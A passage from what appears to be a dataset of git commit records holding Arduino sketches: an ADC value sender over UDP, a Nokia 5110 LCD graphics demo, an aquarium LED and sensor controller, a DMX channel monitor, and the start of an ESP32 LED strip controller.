\u7121\u7ddaLAN\u3092STA\u30e2\u30fc\u30c9\u306b\u8a2d\u5b9a\r\n WiFi.begin(SSID,PASS); \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u3078\u63a5\u7d9a\r\n while(WiFi.status() != WL_CONNECTED){ \/\/ \u63a5\u7d9a\u306b\u6210\u529f\u3059\u308b\u307e\u3067\u5f85\u3064\r\n delay(500); \/\/ \u5f85\u3061\u6642\u9593\u51e6\u7406\r\n Serial.print(\".\");\r\n }\r\n Serial.println(WiFi.localIP()); \/\/ \u672c\u6a5f\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\r\n}\r\n\r\nvoid loop(){ \/\/ \u7e70\u308a\u8fd4\u3057\u5b9f\u884c\u3059\u308b\u95a2\u6570\r\n WiFiUDP udp; \/\/ UDP\u901a\u4fe1\u7528\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b9a\u7fa9\r\n int adc,i; \/\/ \u6574\u6570\u578b\u5909\u6570adc\u3068i\u3092\u5b9a\u7fa9\r\n \r\n adc=analogRead(PIN_AIN); \/\/ AD\u5909\u63db\u5668\u304b\u3089\u5024\u3092\u53d6\u5f97\r\n udp.beginPacket(SENDTO, PORT); \/\/ UDP\u9001\u4fe1\u5148\u3092\u8a2d\u5b9a\r\n udp.println(adc); \/\/ \u5909\u6570adc\u306e\u5024\u3092\u9001\u4fe1\r\n Serial.println(adc); \/\/ \u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n udp.endPacket(); \/\/ UDP\u9001\u4fe1\u306e\u7d42\u4e86(\u5b9f\u969b\u306b\u9001\u4fe1\u3059\u308b)\r\n for(i=0;i<30;i++){ \/\/ 30\u56de\u306e\u7e70\u308a\u8fd4\u3057\u51e6\u7406\r\n delay(100); \/\/ 100ms\u306e\u5f85\u3061\u6642\u9593\u51e6\u7406\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2_example\/example35_adc\/example35_adc.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8717c80ac9968f2cc8f1f8b0beeab5f27eafd6c5","subject":"Create GFX_demo.ino","message":"Create GFX_demo.ino","repos":"johnbacas\/PCD8544_Nokia5110Library","old_file":"GFX_demo.ino","new_file":"GFX_demo.ino","new_contents":"\/*********************************************************************\nThis is an example sketch for Monochrome Nokia 5110 LCD Displays\n\n Pick one up today in the adafruit shop!\n ------> http:\/\/www.adafruit.com\/products\/338\n\nThese displays use SPI to communicate, 4 or 5 pins are required to\ninterface\n\nPlease support Adafruit and open-source hardware by purchasing\nproducts from Adafruit!\n\nThis sketch is written by John Bacas\n***********************************************************************\/\n#include <JBacas_GFX.h>\n#include <JBacas_PCD8544.h>\n#include \"johnb.c\"\n\n\/\/ pin 7 - Serial clock out (SCLK)\n\/\/ pin 6 - Serial data out (DIN)\n\/\/ pin 5 - Data\/Command select (D\/C)\n\/\/ pin 4 - LCD chip select (CS)\n\/\/ pin 3 - LCD reset (RST)\n\/\/ 3.3 V (optional) - BackLight (BL)\nAdafruit_PCD8544 display = Adafruit_PCD8544(7, 6, 5, 4, 3);\n\nint border[]={245,237,237,237,237,237,237,237,237,237,237,214, \/\/\u2552\u2550\u2550\u2550\u2550\u2550\u2550\u2555\n 209, 209, \/\/\u2502 \u2502\n 244,237,237,237,237,237,237,237,237,237,237,220}; \/\/\u2558\u2550\u2550\u2550\u2550\u2550\u2550\u255b\n \nstatic const unsigned char PROGMEM logo16x16[] =\n{0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xc7,\n 0xff,0xa7,0xff,0x57,0xfe,0xaf,0xf1,0x5f,\n 0xe4,0xbf,0xee,0x7f,0xef,0x7f,0xfe,0x7f,\n 0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff}; \/\/bitmap\n \nvoid setup() {\n\n Serial.begin(9600);\n display.begin(); \/\/initialize and display logo screen\n delay(2500);\n display.clearDisplay(); \/\/ clears the buffer\n display.printgreek(\"\\n \u03a0\u0391\u03a1\u039f\u03a5\u03a3\u0399\u0391\u03a3\u0397\\n \u0393\u03a1\u0391\u03a6\u0399\u039a\u03a9\u039d\\n \u039f\u0398\u039f\u039d\u0397\u03a3\\n 5110\");\n display.display();\n delay(2500);\n display.clearDisplay();\n}\n\nvoid loop() {\n display_border();\n display.setCursor(27,20);\n display.print(\"LINES\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/draw some lines\n for (byte i=0; i<48; i+=5){\n display.drawLine(0,0,83,i,BLACK);\n display.display();\n delay(100);\n }\n for (byte j=80; j<81; j-=5){ \/\/ that's tricky!! byte doesn't get negative values\n display.drawLine(0,0,j,47,BLACK);\n display.display();\n delay(100);\n }\n delay(3000);\n display.clearDisplay();\n \n \/\/draw vertical and horizontal lines\n for (byte i=0; i<84; i+=4){\n display.drawFastVLine(i+2,0,48,BLACK); \/\/vertical line\n display.drawFastHLine(0,i\/2+3,84,BLACK); \/\/horizontal line\n display.display();\n delay(100);\n }\n delay(3000);\n display.clearDisplay();\n \n display_border();\n display.setCursor(12,20);\n display.print(\"RECTANGLES\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/draw some rectangle outlines\n for (byte i=0; i<28; i+=4){\n display.drawRect(i,i,84-2*i,48-2*i,BLACK);\n display.display();\n delay(100);\n }\n delay(3000);\n display.clearDisplay();\n \n \/\/draw some filled rectangles\n for (byte i=0; i<84; i+=14){\n display.fillRect(i,0,7,48,BLACK);\n display.display();\n delay(100);\n }\n delay(3000);\n display.clearDisplay();\n \n \/\/draw some round rectangle outlines\n display.drawRoundRect(0,0,84,48,6,BLACK);\n delay(100);\n for (byte i=3; i<31; i+=27){\n display.drawRoundRect(i,4,24,40,9,BLACK);\n display.display();\n delay(100);\n }\n display.drawCircleHelper(66,13,9,1,BLACK); \/\/left-top arc of round rect outline\n display.drawCircleHelper(71,13,9,2,BLACK); \/\/right-top arc of round rect outline\n display.drawCircleHelper(71,34,9,4,BLACK); \/\/right-bottom arc of round rect outline\n display.drawCircleHelper(66,34,9,8,BLACK); \/\/left-bottom arc of round rect outline\n display.display();\n delay(3000);\n display.clearDisplay(); \n \n \/\/draw a round filled rectangle,filled rect sides and circle\n display.fillRoundRect(5,5,74,38,10,BLACK);\n display.fillCircleHelper(64,19,9,1,9,WHITE); \/\/right side of filled round rect\n display.fillCircleHelper(19,19,9,2,9,WHITE); \/\/left side of filled round rect\n display.fillRoundRect(35,19,14,14,7,WHITE); \/\/circle with even radius\n display.display();\n delay(3000);\n display.clearDisplay();\n\n display_border();\n display.setCursor(21,20);\n display.print(\"CIRCLES\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/draw some circle outlines\n for (byte i=0; i<24; i+=3){\n display.drawCircle(5+2*i,5+i,i,BLACK); \/\/circles with odd radius\n display.display();\n delay(100);\n }\n delay(3000);\n display.clearDisplay();\n \n \/\/draw some filled circles\n for (byte i=6; i<84; i+=12){\n for (byte j=6; j<48; j+=12){\n display.fillCircle(i,j,5,BLACK);\n display.display();\n delay(100);\n }\n }\n delay(3000);\n display.clearDisplay();\n \n display_border();\n display.setCursor(15,20);\n display.print(\"TRIANGLES\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/draw some triangle outlines\n for (byte i=3; i<24; i+=4) {\n display.drawTriangle(41,23-i,41-i,23+i,41+i,23+i,BLACK);\n display.display();\n delay(120);\n }\n delay(3000);\n display.clearDisplay();\n \n \/\/draw some filled triangles\n for (byte i=0; i<84; i+=12) {\n display.fillTriangle(0+i,0,12+i,0,6+i,20,BLACK);\n display.fillTriangle(0+i,47,12+i,47,6+i,27,BLACK);\n display.display();\n delay(120);\n }\n delay(3000);\n display.clearDisplay();\n \n display_border();\n display.setCursor(24,20);\n display.print(\"BITMAP\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/draw a bitmap file\n display.drawBitmap(36,16,logo16x16,16,16,BLACK);\n display.display();\n delay(3500);\n display.clearDisplay();\n \n display_border();\n display.setCursor(30,20);\n display.print(\"FILL\");\n display.display();\n delay(2500);\n \n \/\/fill the screen\n display.fillScreen(BLACK);\n display.display();\n delay(2000);\n \n \n display.setTextColor(WHITE);\n display_border();\n display.setCursor(30,20);\n display.print(\"TEXT\");\n display.display();\n delay(2500);\n display.fillScreen(BLACK);\n \n \/\/display english & greek text\n display.setCursor(0,0);\n display.print(\"print some\\nwhite letters\\n\");\n display.setTextSize(2);\n display.printgreek(\"\u039c\u0395\u0393\u0391\u039b\u0395\u03a3\u039b\u0395\u039e\u0395\u0399\u03a3\");\n display.display();\n display.setTextSize(1);\n display.setTextColor(BLACK); \n delay(4500);\n display.clearDisplay();\n\n display_border();\n display.setCursor(18,20);\n display.print(\"BITMAP C\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/draw a picture from a ***.c file\n display.drawXBitmap(0,0, johnbacas, 84,48, BLACK);\n display.display();\n delay(3000);\n display.clearDisplay();\n \n display_border();\n display.setCursor(24,20);\n display.print(\"INVERT\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/draw a picture and then invert it\n display.drawXBitmap(0,0, johnbacas, 84,48, BLACK);\n display.display();\n delay(900); \n display.invertDisplay(true);\n delay(2500);\n display.invertDisplay(false);\n display.clearDisplay(); \n \n display_border();\n display.setCursor(30,20);\n display.print(\"POOL\");\n display.display();\n delay(2500);\n display.clearDisplay();\n \n \/\/pool animation\n randomSeed(analogRead(0)); \/\/random seed\n byte x_prev=random(5,80);\n byte y_prev=random(5,44);\n int hor=1;\n int ver=-1;\n \n display.drawRect(0,0,84,48,BLACK); \/\/pool table\n \n display.fillCircle(x_prev,y_prev,2,BLACK); \/\/billiard ball\n display.display();\n \n for (int i=0; i<110; i++){\n display.fillCircle(1,1,2,BLACK); \/\/pool table holes\n display.fillCircle(41,0,2,BLACK); \/\/must be redrawn\n display.fillCircle(82,1,2,BLACK); \/\/in loop\n display.fillCircle(1,46,2,BLACK); \/\/in case they are\n display.fillCircle(41,47,2,BLACK); \/\/erased by\n display.fillCircle(82,46,2,BLACK); \/\/the billiard ball\n \n \/\/if hit pool sides then bounce\n if (hor==1 && ver==-1){\n display.fillCircle(x_prev,y_prev,2,WHITE);\n display.fillCircle(x_prev+hor,y_prev+ver,2,BLACK);\n x_prev = x_prev + hor;\n y_prev = y_prev + ver;\n if (x_prev==80) hor=-1;\n if (y_prev==3) ver=1;\n display.display();\n }\n if (hor==-1 && ver==-1){\n display.fillCircle(x_prev,y_prev,2,WHITE);\n display.fillCircle(x_prev+hor,y_prev+ver,2,BLACK);\n x_prev = x_prev + hor;\n y_prev = y_prev + ver;\n if (x_prev==3) hor=1;\n if (y_prev==3) ver=1;\n display.display();\n }\n if (hor==-1 && ver==1){\n display.fillCircle(x_prev,y_prev,2,WHITE);\n display.fillCircle(x_prev+hor,y_prev+ver,2,BLACK);\n x_prev = x_prev + hor;\n y_prev = y_prev + ver;\n if (x_prev==3) hor=1;\n if (y_prev==44) ver=-1;\n display.display();\n }\n if (hor==1 && ver==1){\n display.fillCircle(x_prev,y_prev,2,WHITE);\n display.fillCircle(x_prev+hor,y_prev+ver,2,BLACK);\n x_prev = x_prev + hor;\n y_prev = y_prev + ver;\n if (x_prev==80) hor=-1;\n if (y_prev==44) ver=-1;\n display.display();\n }\n delay(15 + pow(1.055 , i));\n }\n display.clearDisplay();\n}\n\/****************************************************************\/\nvoid display_border(){\n display.setCursor(6,12);\n for (int i=0; i<26;i++){\n if (i==12) display.setCursor(6,20);\n if (i==13) display.setCursor(72,20);\n if (i==14) display.setCursor(6,28);\n display.write(border[i]);\n }\n display.display(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GFX_demo.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"52d0714dae4b38e0c679b30b4e8ff2124e35e442","subject":"Create aquarium.ino","message":"Create aquarium.ino","repos":"tonbut\/PhotonAquariumController,tonbut\/PhotonAquariumController","old_file":"aquarium.ino","new_file":"aquarium.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"DS18B20\/DS18B20.h\"\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"Adafruit_DHT\/Adafruit_DHT.h\"\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"Adafruit_PCA9685.h\"\n\n\n\/**\n * This example waves the brightness of a row of LEDs\n *\/\n \n #include <math.h>\n\nconst int MORPH_TIMER_MS=20;\nconst int LEDS=6;\n\n\nvolatile int pauseLED=0;\nfloat target[LEDS];\nfloat origin[LEDS];\nfloat stepIndex=1;\nfloat stepCount=1;\n\n\nstruct ScheduleRow\n{\n int home;\n int time;\n String timeString;\n String color;\n int fade;\n};\nint scheduleCount;\nScheduleRow schedule[16];\nint currentSchedule;\n\nDHT dht(D2, DHT22);\nDS18B20 ds18b20(D3);\n\n\nString lastData;\n\n\nAdafruit_PCA9685 ledDriver = Adafruit_PCA9685(0x40, true); \/\/ Use the default address, but also turn on debugging\nTimer morphTimer(MORPH_TIMER_MS, adjustLights);\nTimer minuteTimer(1000*60, eachMinute);\n\n\ndouble getDSTemp() {\n int dsAttempts=0;\n double celsius=0.0;\n if(!ds18b20.search())\n {\n ds18b20.resetsearch();\n celsius = ds18b20.getTemperature();\n while (!ds18b20.crcCheck() && dsAttempts < 4)\n {\n Serial.println(\"Caught bad value.\");\n dsAttempts++;\n Serial.print(\"Attempts to Read: \");\n Serial.println(dsAttempts);\n if (dsAttempts == 3)\n {\n delay(1000);\n }\n ds18b20.resetsearch();\n celsius = ds18b20.getTemperature();\n continue;\n }\n return celsius;\n }\n}\n\n\nstatic float lastGoodAirTemp=0.0;\nstatic float lastGoodAirHumi=0.0;\nstatic float lastGoodWaterTemp=0.0;\nstatic long lastTempReading=0;\nstatic long lastWaterReading=0;\n\n\/* called every minute to update status data *\/\nvoid updateData()\n{\n float v[LEDS];\n morph(v);\n char sched0[6]; schedule[currentSchedule].timeString.toCharArray(sched0,6);\n char sched1[6]; schedule[currentSchedule+1].timeString.toCharArray(sched1,6);\n \n \/\/get light level\n int a0=analogRead(A0);\n\tfloat light=1.0f-((float)a0)\/4095.0f;\n \n \/\/get DHT22 stuff\n\tfloat temp = dht.getTempCelcius();\n float humi = dht.getHumidity();\n float dsTemp = getDSTemp();\n long now = Time.now();\n if (temp>0.1)\n { lastGoodAirTemp=temp;\n lastGoodAirHumi=humi;\n lastTempReading=now;\n }\n if (dsTemp>0.1)\n { lastGoodWaterTemp=dsTemp;\n lastWaterReading=now;\n }\n \n \n char c[256];\n sprintf(c,\"<data time=\\\"%02d:%02d\\\" schedule=\\\"%s - %s\\\" white=\\\"%.1f\\\" violet=\\\"%.1f\\\" cyan=\\\"%.1f\\\" green=\\\"%.1f\\\" red=\\\"%.1f\\\" deepRed=\\\"%.1f\\\" light=\\\"%.3f\\\" temp=\\\"%.2f\\\" humi=\\\"%.2f\\\" waterTemp=\\\"%.2f\\\" tempReadingAge=\\\"%d\\\" waterReadingAge=\\\"%d\\\" \/>\",\n Time.hour(),\n Time.minute(),\n sched0,\n sched1,\n v[4], v[1], v[3], v[0], v[5], v[2],\n light,\n lastGoodAirTemp,\n lastGoodAirHumi,\n lastGoodWaterTemp,\n now-lastTempReading,\n now-lastWaterReading\n );\n lastData=c;\n}\n\n\n\/* called by timer every 20ms *\/\nvoid adjustLights()\n{\n if (!pauseLED)\n { if (stepIndex<stepCount)\n { stepIndex++;\n float v[LEDS];\n morph(v);\n setLEDs(v);\n }\n processWeather();\n }\n}\n\n\nvoid eachMinute() {\n int now=Time.hour()*60+Time.minute();\n int i=getScheduleRowForTime(now,1);\n if (i>=0)\n { initiateSchedule(i,180000);\n }\n \/\/updateData();\n}\n\n\n\n\n\nvoid parseSchedule() {\n \n String s= \"0,00:00,000000000000,1 \\n\"\n \"0,07:00,000410002004,1 \\n\"\n \"0,08:00,001008080804,1 \\n\"\n \"0,10:00,001810202000,1 \\n\"\n \"0,12:00,004020403800,1 \\n\"\n \"0,15:00,106040607050,1 \\n\" \/\/ peak day\n \"0,19:00,004020403800,1 \\n\"\n \"0,20:00,103004200820,1 \\n\" \/\/early sunset\n \"0,20:20,200800200020,1 \\n\" \/\/ late sunset\n \"0,20:30,000210004008,1 \\n\" \/\/ moonlight\n \"0,21:00,000104010800,1 \\n\"\n \"0,22:00,000000000000,1 \\n\"\n \"0,23:59,000000000000,1 \\n\";\n \n \n int lineStart=0;\n for (int i=0; i<s.length(); i++)\n { char c=s.charAt(i);\n if (c=='\\n')\n { String line=s.substring(lineStart,i);\n \/\/Serial.println(line);\n parseLine(line);\n lineStart=i+1;\n }\n }\n}\n\nvoid parseLine(String line) {\n int i=0;\n String home=parseField(line,&i);\n String time=parseField(line,&i);\n String hour=time.substring(0,2);\n String min=time.substring(3,5);\n int minsSinceMidnight=strtol(hour, NULL, 10)*60+strtol(min, NULL, 10);\n String color=parseField(line,&i);\n String fade=\"300\"; \/\/parseField(line,&i);\n schedule[scheduleCount].home=(int)strtol(home,NULL,10);\n schedule[scheduleCount].timeString=time;\n schedule[scheduleCount].time=minsSinceMidnight;\n schedule[scheduleCount].color=color;\n schedule[scheduleCount].fade=strtol(fade, NULL, 10)*1000\/MORPH_TIMER_MS;\n scheduleCount++;\n}\n\nString parseField(String line, int* i)\n{\n int j=line.indexOf(\",\",*i);\n String result=\"\";\n if (j>0)\n { result=line.substring(*i,j).trim();\n *i=j+1;\n }\n else if (line.length()>*i)\n { result=line.substring(*i);\n *i=line.length();\n }\n \/\/Serial.println(result);\n return result;\n}\n\nint getScheduleRowForTime(int now, int strict)\n{\n \n int found=-1;\n for (int i=0; i<scheduleCount-1; i++)\n {\n if (strict)\n { if (schedule[i].time==now)\n { found=i;\n break;\n }\n }\n else\n { if (now>=schedule[i].time && now<=schedule[i+1].time)\n { found=i;\n }\n }\n }\n return found;\n}\n\nvoid initiateSchedule(int i, int fadeMS)\n{\n currentSchedule=i;\n long long color = strtoll(schedule[i].color, NULL, 16);\n setTarget(color,fadeMS);\n \n}\n\n\n\/* external call to set color *\/\nint setColour(String data)\n{\n int period;\n long long number;\n int commaIndex=data.indexOf(\",\");\n if (commaIndex==-1)\n { period=100;\n number = (int)strtol(data, NULL, 16);\n }\n else\n { period = (int)strtol(data.substring(commaIndex+1), NULL, 10);\n number = strtoll(data.substring(0,commaIndex), NULL, 16);\n }\n\n setTarget(number,period);\n return 0;\n}\n\n\nint weatherType;\nint weatherDurationRemaining=-1;\n\nint cloudToggle;\nint cloudCycleRemaining;\n\n\/* external call to initiate weather \ntype: 0 none, 1 cloudy\n*\/\nint setWeather(String data)\n{\n \n int commaIndex=data.indexOf(\",\");\n int type = (int)strtoll(data.substring(0,commaIndex), NULL, 10);\n int duration = (int)strtol(data.substring(commaIndex+1), NULL, 10);\n\n char ch[80];\n sprintf(ch,\"weather %d %d\",type, duration);\n Serial.println(ch);\n\n \n weatherType=type;\n weatherDurationRemaining=duration*1000\/MORPH_TIMER_MS;\n \n if (type==1 || type==2 || type==3 || type==4)\n { cloudCycleRemaining=0;\n cloudToggle=0;\n }\n\n return 0;\n}\n\nvoid processWeather()\n{\n if (weatherDurationRemaining>0)\n { weatherDurationRemaining--;\n \n if (weatherType==1)\n {\n if (cloudCycleRemaining==0)\n { cloudCycleRemaining = random(5, 30)*1000\/MORPH_TIMER_MS;\n cloudToggle=!cloudToggle;\n \n int now=Time.hour()*60+Time.minute();\n int i=getScheduleRowForTime(now,0);\n long long color = strtoll(schedule[i].color, NULL, 16);\n if (cloudToggle)\n { \/\/half brightness\n color=colorMultiply(color,0.25f);\n \n }\n setTarget(color,500);\n \n \n }\n else\n { cloudCycleRemaining--;\n }\n }\n else if (weatherType==2)\n {\n if (cloudCycleRemaining==0)\n { cloudCycleRemaining = 5000\/MORPH_TIMER_MS;\n\n int now=Time.hour()*60+Time.minute();\n int i=getScheduleRowForTime(now,0);\n long long color = strtoll(schedule[i].color, NULL, 16);\n float f=(256+(float)random(768))\/1024.0f;\n color=colorMultiply(color,f);\n setTarget(color,5000);\n \n \n }\n else\n { cloudCycleRemaining--;\n }\n }\n else if (weatherType==3)\n {\n if (cloudCycleRemaining==0)\n { int t=250+random(500);\n \n cloudCycleRemaining = t\/MORPH_TIMER_MS;\n\n int now=Time.hour()*60+Time.minute();\n int i=getScheduleRowForTime(now,0);\n long long color = strtoll(schedule[i].color, NULL, 16);\n float f=(512+(float)random(512))\/1024.0f;\n color=colorMultiply(color,f);\n setTarget(color,t);\n \n \n }\n else\n { cloudCycleRemaining--;\n }\n }\n else if (weatherType==4)\n {\n if (cloudCycleRemaining==0)\n { int t=250+random(5000);\n \n cloudCycleRemaining = t\/MORPH_TIMER_MS;\n\n int now=Time.hour()*60+Time.minute();\n int i=getScheduleRowForTime(now,0);\n long long color = strtoll(schedule[i].color, NULL, 16);\n float f=(512+(float)random(512))\/1024.0f;\n color=colorMultiply(color,f);\n setTarget(color,t);\n \n \n }\n else\n { cloudCycleRemaining--;\n }\n }\n \n \n \n }\n else if (weatherDurationRemaining==0)\n { \/\/restore\n Serial.println(\"End of weather\");\n int now=Time.hour()*60+Time.minute();\n int i=getScheduleRowForTime(now,0);\n initiateSchedule(i,10000);\n weatherDurationRemaining--;\n }\n \n}\n\nlong long colorMultiply(long long color, float f)\n{\n int v[LEDS];\n for (int i=0; i<LEDS; i++)\n { v[i]=color & 0xFF;\n color>>=8;\n }\n \n for (int i=0; i<LEDS; i++)\n { v[i]= (int)( ((float)v[i])*f );\n }\n \n long long result=0;\n for (int i=0; i<LEDS; i++)\n { result<<=8;\n result+=v[LEDS-1-i];\n \n }\n return result;\n}\n\n\n\/* update LEDs right now to the array of brighnesses *\/\nvoid setLEDs(float v[])\n{\n int offset=0;\n for (int i=0; i<LEDS; i++) \n {\n int dutyCycle=(int)(v[i]*(4095\/256));\n \/\/ledDriver.setVal(i, dutyCycle);\n setLED(i,dutyCycle,offset);\n offset+=682; \/\/ about 1\/6 of cycle\n }\n}\n\n\/* called before reset to turn lights off *\/\nvoid reset_handler()\n{\n int N=20;\n float v[LEDS];\n setTarget(0,N);\n for (int i=0; i<N; i++)\n { morph(v);\n setLEDs(v);\n delay(20);\n }\n \/\/setTarget(0,1000\/MORPH_TIMER_MS);\n \/\/delay(1000);\n \/\/setLEDs(target);\n}\n\n\/* set a single LED brighness to val. mid is middle of pulse in PWM *\/\nvoid setLED(int ledNum, int val, int mid)\n{\n if (val == 4095) {\n \/\/ Special value for signal fully on.\n ledDriver.setPWM(ledNum, 4096, 0);\n }\n else if (val == 0) {\n \/\/ Special value for signal fully off.\n ledDriver.setPWM(ledNum, 0, 4096);\n }\n else {\n int h1=val\/2;\n int h2=val-h1;\n int s=mid-h1;\n int e=mid+h2;\n if (s<0)\n { e-=s;\n s=0;\n }\n else if (e>4095)\n { int d=e-4095;\n s-=d;\n e=4095;\n }\n ledDriver.setPWM(ledNum, s, e);\n }\n}\n\nvoid colorToArray(long long number, float v[])\n{\n v[5]=(number>>40)&0xFF;\n v[4]=(number>>32)&0xFF;\n v[3]=(number>>24)&0xFF;\n v[2]=(number>>16)&0xFF;\n v[1]=(number>>8)&0xFF;\n v[0]=(number)&0xFF;\n}\n\n\n\/* sets the new target brightness of LEDs *\/\nvoid setTarget(long long number, int fadeMS)\n{\n float v[LEDS];\n colorToArray(number,v);\n \n \/\/char ch[80];\n \/\/sprintf(ch,\"target f=%f e=%f d=%f c=%f b=%f a=%f fadeDuration=%d\",v[5],v[4],v[3],v[2],v[1],v[0],period);\n \/\/Serial.println(ch);\n \n pauseLED=1;\n \n morph(origin);\n\n for (int i=0; i<LEDS; i++) \n { target[i]=v[i];\n }\n\n stepIndex=0;\n stepCount=fadeMS\/MORPH_TIMER_MS;\n pauseLED=0;\n}\n\n\/* function to smooth transitions at each end *\/\nfloat smootherstep(float x)\n{ return x*x*x*(x*(x*6 - 15) + 10);\n}\n\n\/* smooth iteration between origin and target on each step *\/\nvoid morph(float v[])\n{\n float ratio=stepIndex\/stepCount;\n if (ratio>1) ratio=1;\n if (ratio<0) ratio=0;\n ratio=smootherstep(ratio);\n for (int i=0; i<LEDS; i++)\n {\n float gamma=0.5;\n float o=origin[i];\n float origin=pow(o,gamma);\n float t=target[i];\n float target=pow(t,gamma);\n float lg=origin+(target-origin)*ratio;\n v[i]=(float)pow(lg,1.0\/gamma);\n }\n}\n\nvoid setup()\n{\n ledDriver.begin(); \/\/ This calls Wire.begin()\n ledDriver.setPWMFreq(1000); \/\/ Maximum PWM frequency is 1600\n Particle.function(\"setColour\", setColour);\n Particle.function(\"setWeather\", setWeather);\n lastData=\"\";\n Particle.variable(\"data\",lastData);\n \n Serial.begin(9600);\n Serial.println(\"Initialising\");\n parseSchedule();\n \n Time.zone(0);\n Particle.syncTime();\n \n dht.begin();\n pinMode(D3, INPUT_PULLUP);\n ds18b20.setResolution(12);\n \n reset_handler();\n System.on(reset, reset_handler); \n morphTimer.start();\n minuteTimer.start();\n \n delay(1000);\n int now=Time.hour()*60+Time.minute();\n int i=getScheduleRowForTime(now,0);\n initiateSchedule(i,10000);\n updateData();\n}\n\nvoid loop() {\n updateData();\n delay(10000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'aquarium.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a74555cbf63bcab64231f54c788fb7f779b4c8e","subject":"Add DmxSniff example","message":"Add DmxSniff example\n\nThis example can be used to receive DMX traffic and conveniently dump it\nto serial (on boards that have multiple serial ports).\n","repos":"mathertel\/DMXSerial,mathertel\/DMXSerial","old_file":"examples\/DmxSniff\/DmxSniff.ino","new_file":"examples\/DmxSniff\/DmxSniff.ino","new_contents":"\/\/ DmxSerial - A hardware supported interface to DMX.\n\/\/ DmxSniff.ino: Sample DMX application for receiving and displaying all DMX channels\n\/\/\n\/\/ Copyright (c) 2017 by Matthijs Kooijman, http:\/\/www.stderr.nl\n\/\/ This work is licensed under a BSD style license. See http:\/\/www.mathertel.de\/License.aspx\n\/\/\n\/\/ This example uses DMXSerial to receive DMX data, and then prints this\n\/\/ data to a different serial port. This only works on boards with\n\/\/ multiple UARTs (like the Mega2560), or with a virtual USB serial port\n\/\/ in addition to a normal UART (like the Leonardo or Micro). Be sure to\n\/\/ set the \"Console\" macro correctly below.\n\/\/\n\/\/ Whenever the data changes, all channels are dumped through serial,\n\/\/ allowing to see changes pretty much in realtime. On a dumb terminal\n\/\/ (like the Arduino IDE serial console), the values are a bit hard to\n\/\/ read when they're still changing. When using a proper terminal (one\n\/\/ that understands ANSI escape codes), the data is nicely overwritten,\n\/\/ so it should be readable even while changing. On dumb terminals,\n\/\/ these escape codes can just be ignored.\n\/\/\n\/\/ By default, all channels are captured and dumped, but the number of\n\/\/ channels and how to display them can be changed by modifiying some\n\/\/ constants below.\n#include <DMXSerial.h>\n\n\/\/ The serial port to use to dump data. Should be a different one from\n\/\/ the UART used by DMXSerial. On the 32u4-based Leonardo and Micro,\n\/\/ this works as-is, because \"Serial\" is the virtual USB serial port and\n\/\/ Serial1 is the UART used by DMXSerial. On the Mega2560, you should\n\/\/ let DMXSerial use the second UART, by defining DMX_USE_PORT1 in\n\/\/ DMXSerial.cpp.\n#define Console Serial\n\nvoid setup () {\n Console.begin(0);\n DMXSerial.init(DMXReceiver);\n while(!Console) \/* wait for Console to be opened *\/;\n \/\/ Reset terminal\n Console.print(F(\"\\x1b\\x63\"));\n \/\/ Clear screen\n Console.print(F(\"\\x1b[2J\"));\n}\n\nstatic constexpr const uint16_t channels = 512;\nstatic constexpr const uint16_t channels_per_line = 32;\nstatic constexpr const uint16_t channels_per_group = 8;\n\nvoid printByte(uint8_t b) {\n}\n\nvoid loop() {\n if (DMXSerial.dataUpdated()) {\n DMXSerial.resetUpdated();\n \/\/ For the dumb consoles (like the Arduino IDE serial console), add\n \/\/ some newlines to separate subsequent dumps\n Console.println();\n Console.println();\n \/\/ For smarter terminals, reposition the cursor at the top left\n Console.print(F(\"\\x1b[1;1H\"));\n\n for (uint16_t i = 0; i < channels; ++i) {\n \/\/ Channels are 1-based\n uint16_t channel = i + 1;\n\n if (i % channels_per_line == 0) {\n Console.println();\n \/\/ Prefix each line with the DMX channel number, adding spaces to align\n\tif (channel < 100) Console.write(' ');\n\tif (channel < 10) Console.write(' ');\n\tConsole.print(channel);\n\tConsole.print(F(\": \"));\n } else {\n \/\/ Print one space between channels, and two spaces between each group\n if (i % channels_per_group == 0)\n Console.write(' ');\n Console.write(' ');\n }\n\n \/\/ Print the actual channel value, padding with a zero if needed\n uint8_t value = DMXSerial.read(channel);\n if (value < 0x10) Console.write('0');\n Console.print(value, HEX);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DmxSniff\/DmxSniff.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a3bc0f4583340e9b230410ee2b1cc2b691e9a6c6","subject":"Add ESP32 Example","message":"Add ESP32 Example\n","repos":"scottlawsonbc\/audio-reactive-led-strip,joeybab3\/audio-reactive-led-strip,joeybab3\/audio-reactive-led-strip,scottlawsonbc\/audio-reactive-led-strip","old_file":"arduino\/ws2812_controller_esp32\/ws2812_controller_esp32.ino","new_file":"arduino\/ws2812_controller_esp32\/ws2812_controller_esp32.ino","new_contents":"\/*\n*This example works for ESP32 and uses the NeoPixelBus library instead of the one bundle\n*\n*\/\n#include <Arduino.h>\n#include <WiFi.h>\n#include <WiFiUdp.h>\n#include <NeoPixelBus.h>\n\n\/\/ Set to 